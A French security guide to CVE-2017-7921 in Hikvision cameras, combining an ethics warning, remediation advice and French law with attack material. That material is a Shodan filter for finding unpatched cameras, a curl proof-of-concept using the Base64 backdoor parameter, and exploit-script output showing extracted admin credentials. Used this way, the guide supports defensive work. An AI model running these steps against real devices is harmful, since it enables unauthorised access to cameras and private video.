

AVERTISSEMENT ÉTHIQUE & PRÉVENTION SÉCURITÉ

Document d'analyse technique et guide de remédiation — CVE-2017-7921

⚠ AVERTISSEMENT ÉTHIQUE - LECTURE OBLIGATOIRE

Ce document est strictement destiné à des fins éducatives et de sensibilisation à la sécurité informatique.

Objectifs légitimes

- Tester la sécurité de vos propres équipements
- Sensibiliser aux risques d'obsolescence
- Démontrer l'importance des patches firmware

Interdictions absolues

- Accès non autorisé à des systèmes tiers
- Utilisation à des fins malveillantes
- Atteinte à la vie privée d'autrui

Responsabilité

- L'auteur décline toute responsabilité en cas d'usage illégal.
- Le pentesting non autorisé est sévèrement puni par la loi.

📋 1. Vue d'ensemble de la vulnérabilité

Attribut	Détail
CVE ID	CVE-2017-7921
Produit concerné	Caméras IP et NVR Hikvision (firmwares 2016 et antérieurs)
Type de vulnérabilité	Divulgence d'informations / Backdoor d'authentification
Impact principal	Accès non autorisé aux identifiants et à la configuration administrateur
Date du correctif	2017 (Mise à jour officielle Hikvision)
Vecteur d'attaque	Authentification par défaut contournée via paramètre encodé en Base64

🔍 2. Reconnaissance & Détection

Plateforme d'audit

Shodan / Census IoT : Moteurs de recherche spécialisés dans l'indexation des périphériques réseau exposés.

Filtre de recherche (Exemple conceptuel)

```
"App-webs" "200 OK" "2016" text product:"Hikvision IP Camera"
```

Note : Le filtre ciblant l'année 2016 permet d'identifier les firmwares non mis à jour précédant la sortie du patch.

🔧 3. Mécanisme de vérification (PoC de diagnostic)

La vulnérabilité réside dans une requête de gestion d'utilisateurs traitant un paramètre d'authentification pré-encodé.

Test de vulnérabilité manuel (PowerShell / Terminal)

```
curl.exe -v "http://[IP_CIBLE]:[PORT]/Security/users?auth=YWRtaW46MTEK"
```

Remarque : Le paramètre `auth=YWRtaW46MTEK` équivaut à la chaîne `admin:11` encodée en Base64 (backdoor connue).

Structure de la réponse en cas de vulnérabilité (HTTP 200 OK)

```
HTTP/1.1 200 OK
Date: Wed, 07 Jul 2004 15:33:10 GMT
Server: App-webs/
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<UserList version="1.0">
  <User>
    <id>1</id>
    <userName>admin</userName>
    <priority>high</priority>
    <userLevel>Administrator</userLevel>
  </User>
</UserList>
```

Indicateur de risque : Le serveur renvoie la liste XML des utilisateurs sans authentification valide préalablement requise.

 4. Extraction & Analyse des risques

Des scripts automatisés de test d'intrusion (ex: CVE-2017-7921 . py) permettent de vérifier la présence de cette faille sur un parc informatique.

```
# Commande d'exécution du test d'audit
python CVE-2017-7921.py -u [IP]:[PORT]

# Résultat typique d'un scan d'évaluation
[STAT] PoC Exploit CVE-2017-7921 - Hikvision Info Disclosure
[INFO] Scanning target: [IP]:[PORT]
[RESULT] Vulnerable - Credentials extracted: admin:Admin123456
[INFO] Audit output written to: results.csv
```

 5. Plan de Remédiation & Recommandations

Mesures correctives pour propriétaires d'équipements

Action Recommandée	Priorité	Procédure & Détails
Mettre à jour le firmware	 Critique	Installer immédiatement la dernière version du firmware depuis le portail officiel Hikvision.
Changer les mots de passe	 Critique	Remplacer les identifiants par défaut par des mots de passe complexes (12+ caractères).
Isolation Réseau (VLAN)	 Haute	Isoler les caméras sur un VLAN dédié et restreindre tout accès Internet direct.
Désactiver l'accès distant	 Haute	Désactiver UPnP, le routage de port automatique (Port Forwarding) et P2P si non requis.
Audit d'exposition	 Moyenne	Vérifier régulièrement l'absence d'exposition publique via des outils de scan d'infrastructure.

Vérification pour Administrateurs Réseau (Nmap / Curl)

```
# Détecter la présence d'équipements Hikvision sur la plage IP interne
nmap -p 80,443,8000 --script http-title 192.168.1.0/24 | grep -i hikvision

# Test direct d'étanchéité de l'endpoint d'authentification
curl -s "http://192.168.1.50/Security/users?auth=YWRtaW46MTEK" -m 5
```



6. Cadre Réglementaire et Légal (France)

Prérequis légaux avant tout audit de sécurité :

- **Mandat écrit** : Autorisation préalable et explicite du propriétaire des équipements.
- **Périmètre (Scope)** : Définition stricte des cibles, adresses IP et fenêtres horaires.
- **Responsabilité** : Signature d'une convention d'audit décrivant les limites technologiques.

Articles du Code Pénal applicables :

- **Art. 323-1** : Accès ou maintien frauduleux dans un système de traitement automatisé de données.
- **Art. 323-2** : Entrave ou altération du fonctionnement d'un système informatique.
- **Art. 323-3** : Ingestion ou modification frauduleuse de données.
- **RGPD** : Obligation de protection des flux vidéo (données à caractère personnel).

"La sécurité n'est pas un produit, c'est un processus." — Bruce Schneier